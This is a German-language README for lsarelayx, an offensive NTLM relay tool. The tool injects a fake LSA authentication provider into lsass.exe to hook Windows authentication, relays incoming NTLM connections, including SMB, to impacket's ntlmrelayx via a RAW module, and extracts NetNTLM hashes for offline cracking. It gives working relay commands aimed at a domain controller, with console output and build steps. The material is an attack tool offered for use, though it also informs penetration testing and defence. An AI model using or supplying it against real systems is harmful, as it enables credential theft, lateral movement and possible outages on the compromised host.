
Systemweites NTLM-Relay-Tool, das Windows-Authentifizierungs-APIs abfängt, um eingehende NTLM-Verbindungen weiterzuleiten, Kerberos herabzustufen und NetNTLM-Hashes für Offline-Cracking zu extrahieren.
lsarelayx ist ein systemweites NTLM-Relay-Tool, das eingehende NTLM-basierte Authentifizierungen an den Host weiterleitet, auf dem es ausgeführt wird. lsarelayx leitet jede eingehende Authentifizierungsanfrage weiter, einschließlich SMB. Da lsarelayx in bestehende Anwendungsauthentifizierungsabläufe eingreift, versucht das Tool, nach Abschluss des Relay die ursprüngliche Authentifizierungsanfrage zu bedienen. Dadurch werden Fehler in der Zielanwendung/dem Zielprotokoll vermieden und Endbenutzer, die sich gegen den lsarelayx-Host authentifizieren, können normal arbeiten.
lsarelayx besteht aus drei Teilen: Einem gefälschten LSA-Authentifizierungsanbieter, der in liblsarelay.dll implementiert ist, einer Konsolenanwendung im Benutzermodus als Steuerungsschnittstelle und einem neuen ntlmrelayx-Servermodul namens RAW.
liblsarelayx.dll ist der LSA-Authentifizierungsanbieter, der von lsarelayx geladen wird. Sein Hauptzweck besteht darin, die NTLM- und Negotiate-Pakete zu hooken, um Authentifizierungsanfragen über eine lokale Named Pipe an lsarelayx umzuleiten, damit NetNTLM-Hashes weitergeleitet und ausgegeben werden können. liblsarelayx ist so einfach wie möglich gestaltet; die gesamte schwere Arbeit wird von lsarelayx übernommen.
lsarelayx.exe ist die Hauptkonsolenanwendung, die verwendet wird, um den benutzerdefinierten LSA-Authentifizierungsanbieter (liblsarelayx.dll) zu laden, eingehende NTLM- und Negotiate-Token vom Authentifizierungsanbieter zu empfangen und an das RAW-Servermodul von ntlmrelayx weiterzuleiten. Das Tool führt auch die LDAP-Abfragen durch, die zum Erfassen von Gruppeninformationen für weitergeleitete Benutzer und zur Rückgabe an den LSA-Authentifizierungsanbieter verwendet werden.
impackets ntlmrelayx hat bereits erhebliche Arbeit in die Erstellung von Relay-Angriffen investiert und wird diese in Zukunft weiter verbessern und ergänzen. Um dies zu nutzen, anstatt Angriffe direkt in lsarelayx neu zu implementieren, wurde ein neues ntlmrelayx-Servermodul namens RAW erstellt. Derzeit gibt es einen offenen PR auf GitHub, der das RAW-Servermodul implementiert. Das RAW-Servermodul ist protokollagnostisch und darauf ausgelegt, die rohen NTLM-Nachrichten direkt von Drittanbieter-Software wie lsarelayx zu akzeptieren.
Bis der PR in das Haupt-Impacket-Repository übernommen wird, können Sie diese Version verwenden.
Starten Sie zuerst das RAW-Servermodul von ntlmrelayx, um auf RAW-NTLM-Nachrichten von lsarelayx zu lauschen.
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
lsarelayx selbst erfordert lokale Administratorrechte, um ausgeführt zu werden. Um im aktiven Relay-Modus zu laufen, muss die Hostadresse angegeben werden, auf der ntlmrelayx das RAW-Servermodul ausführt. Der Standardport ist 6666. Dies kann mit dem Argument --port überschrieben werden, aber stellen Sie sicher, dass der Port auch auf der ntlmrelayx-Seite mit dem Argument --raw-port überschrieben wurde.
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
Sie können lsarelayx auch im passiven Modus ausführen, indem Sie es ohne Argumente starten.
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
Sobald die liblsarelayx-DLL in lsass geladen wurde, kann sie aufgrund der Beschränkungen der Funktionsweise von LSA-Plugins derzeit nicht entladen werden. Der Client kann geschlossen werden, wodurch die DLL in einen Ruhezustand versetzt wird, bis der Client erneut gestartet wird, aber die DLL bleibt bis zu einem Neustart in Gebrauch.
Da das LSA-Plugin eigentlich kein echtes Plugin ist, gibt es Pläne, einen reflektiven Loader innerhalb des Plugins zu implementieren, der dann nach Belieben gestartet und gestoppt werden kann – das ist jedoch eine Übung für einen anderen Tag.
Die Entwicklung wurde unter Windows 10 und Server 2016 durchgeführt. Ein kurzer Test unter Windows Server 2012 R2 funktionierte, aber die Berechnung der Offsets für das Hooking kann unter 2012 fehlschlagen (dies kann manuell mit lookuppackage-hint= bereitgestellt werden; bei falscher Angabe wird Windows neu gestartet). Es wurden keine Tests unter Windows 10 (Desktop) oder Windows Server 2019 durchgeführt.
liblsarelayx.dll wird im kritischen lsass.exe-Prozess geladen. Wenn liblsarelayx.dll Fehler enthält, die zum Absturz von lsass.exe führen, wird der Host ZWINGEND nach 60 Sekunden neu starten. Obwohl wir uns bemüht haben, fehlerfreien Code zu schreiben, kann ich nichts versprechen. Kommen Sie nicht zu mir geweint, wenn Sie Ihren Fortune-500-Kunden durch den Absturz des vielbeschäftigten Dateiservers nach der Verwendung von lsarelayx lahmgelegt haben.
Wenn Docker installiert ist, ist dies die schnellste Option. Es verwendet das Image ccob/windows_cross mit allen vorinstallierten Build-Abhängigkeiten.
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"
Unter Linux verwenden wir eine CMake-Toolchain zusammen mit dem MinGW-Compiler. Diese müssen vorher installiert werden. Für die verwaltete Komponente stellen Sie bitte sicher, dass auch das dotnet-Befehlszeilentool von .NET Core installiert ist.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
Windows erfordert eine vollständige CMake-, MinGW- und Visual Studio-Umgebung, bevor überhaupt ein Build versucht werden kann; dies ist der schmerzhafteste Weg, wenn Sie keine Entwicklungsumgebung installiert haben.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip